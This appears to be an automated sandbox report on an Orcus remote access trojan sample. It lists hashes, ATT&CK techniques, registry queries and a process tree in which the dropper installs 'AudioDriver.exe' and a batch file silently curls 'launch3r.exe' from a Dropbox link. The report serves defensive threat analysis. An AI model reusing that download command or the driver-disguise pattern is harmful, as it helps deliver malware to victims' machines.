orcus | 9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0

General

Target

9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe
Size

863KB
MD5

9f5255673dcaa00aec821823de4f7c68
SHA1

939f1351d2ee92aec84860165b139142a1c16519
SHA256

9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0
SHA512

e63fa29fd0d0ad2cdbee2f153a5bc28699f9e83e8afa1e92734daa225416f07d4ee6621d7cca6ee23d1a7b0689f00c4c5f1cafe16a47dbd2fe1562cea2e15427
SSDEEP

24576:HFS04YNEMuExDiU6E5R9s8xY/2l/drtnIbt+rdTe:H34auS+UjfU2TrdIbt+rA

Score

10^/10

orcus discovery rat spyware stealer

Malware Config

Extracted

Family

orcus

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Script.exe

Executes dropped EXE 2 IoCs

pid	Process
1048	Script.exe
2468	AudioDriver.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Windows\assembly\Desktop.ini	Script.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	Script.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\assembly	Script.exe
File created	C:\Windows\assembly\Desktop.ini	Script.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	Script.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AudioDriver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Script.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe
2468	AudioDriver.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	AudioDriver.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2468	AudioDriver.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2468	AudioDriver.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 1048	5036	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe	83
PID 5036 wrote to memory of 1048	5036	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe	83
PID 5036 wrote to memory of 1048	5036	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe	83
PID 5036 wrote to memory of 4164	5036	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe	84
PID 5036 wrote to memory of 4164	5036	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe	84
PID 5036 wrote to memory of 4164	5036	9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe	84
PID 4164 wrote to memory of 2496	4164	cmd.exe	86
PID 4164 wrote to memory of 2496	4164	cmd.exe	86
PID 4164 wrote to memory of 2496	4164	cmd.exe	86
PID 1048 wrote to memory of 2468	1048	Script.exe	87
PID 1048 wrote to memory of 2468	1048	Script.exe	87
PID 1048 wrote to memory of 2468	1048	Script.exe	87

C:\Users\Admin\AppData\Local\Temp\9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe
"C:\Users\Admin\AppData\Local\Temp\9d2f6b8e1bf913948fb0ff774d82e4b5a5ff9616e5097ef38482fcbd193052a0.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Users\Admin\AppData\Local\Temp\Script.exe
  "C:\Users\Admin\AppData\Local\Temp\Script.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\SysWOW64\curl.exe
    curl -o "C:\Users\Admin\AppData\Local\Temp\launch3r.exe" "https://www.dropbox.com/scl/fi/bkc69a33eypob7thr186c/launch3r.exe?rlkey=xcsytpkk053av68vshskwaewd&st=1hbdu0df&dl=1" --silent --fail
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Script.exe

Filesize
839KB

MD5
98a5ba2b1804e05fd8d361429c538d5e

SHA1
ff979f68614cdddf6db17ff574a51153fd6358bd

SHA256
502302c8b6270b082df08e81c96bde54a220bd6ae2a8ae3b08100529e2a7a753

SHA512
ad7ac8fa9511b973dbf5cd691a6d2ebb265e9eeb8549872751d89e8f8f71ca70a8dcc6e5cfa7b678d6cd9ce61096d5536792eb53244eff08ae0ee8fc91b3a478

Download Submit
C:\Users\Admin\AppData\Local\Temp\launch3r.exe

Filesize
17B

MD5
0f2ac93b07c396febb0557f67f264c69

SHA1
c8291ab5cb1212f5c502cd06eaa8651d8c62f83e

SHA256
018d5fc3e4611f8d14809e5f6fadeb737b95e1ee91fb3407065d9c2c354c33ec

SHA512
09642eede9c121c8c9eaa5acfeb0e8e6e38daf5b844d43c6623690332ea2358ed245b94f698bbaba54ec108311aae41fae0ef112f6133b78e4facab6035da5d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\start.bat

Filesize
14KB

MD5
80b6d85f4829619861c1ba75d0165e1a

SHA1
8fef67ccbb53d901324481cc0f1caf86bdfface8

SHA256
63fb361c804641806c87c3d175bad8f9a9ab6f214da7044b4e929ef755f109d3

SHA512
7e6e2e95e9eca666a1f5535badd3d80bb5ad9545ef3eb7cf2dc552884edc5f0a84bcdf17066b71c765d18673a55e890b7115a13666f3346242c8996b4f063c22

Download Submit
memory/1048-15-0x0000000073AA2000-0x0000000073AA3000-memory.dmp

Filesize
4KB

Download
memory/1048-17-0x0000000073AA0000-0x0000000074051000-memory.dmp

Filesize
5.7MB

Download
memory/1048-18-0x0000000073AA0000-0x0000000074051000-memory.dmp

Filesize
5.7MB

Download
memory/1048-34-0x0000000073AA0000-0x0000000074051000-memory.dmp

Filesize
5.7MB

Download
memory/2468-36-0x0000000073AA0000-0x0000000074051000-memory.dmp

Filesize
5.7MB

Download
memory/2468-35-0x0000000073AA0000-0x0000000074051000-memory.dmp

Filesize
5.7MB

Download
memory/2468-39-0x0000000073AA0000-0x0000000074051000-memory.dmp

Filesize
5.7MB

Download
memory/5036-14-0x0000000000400000-0x00000000004DF000-memory.dmp

Filesize
892KB

Download

Analysis

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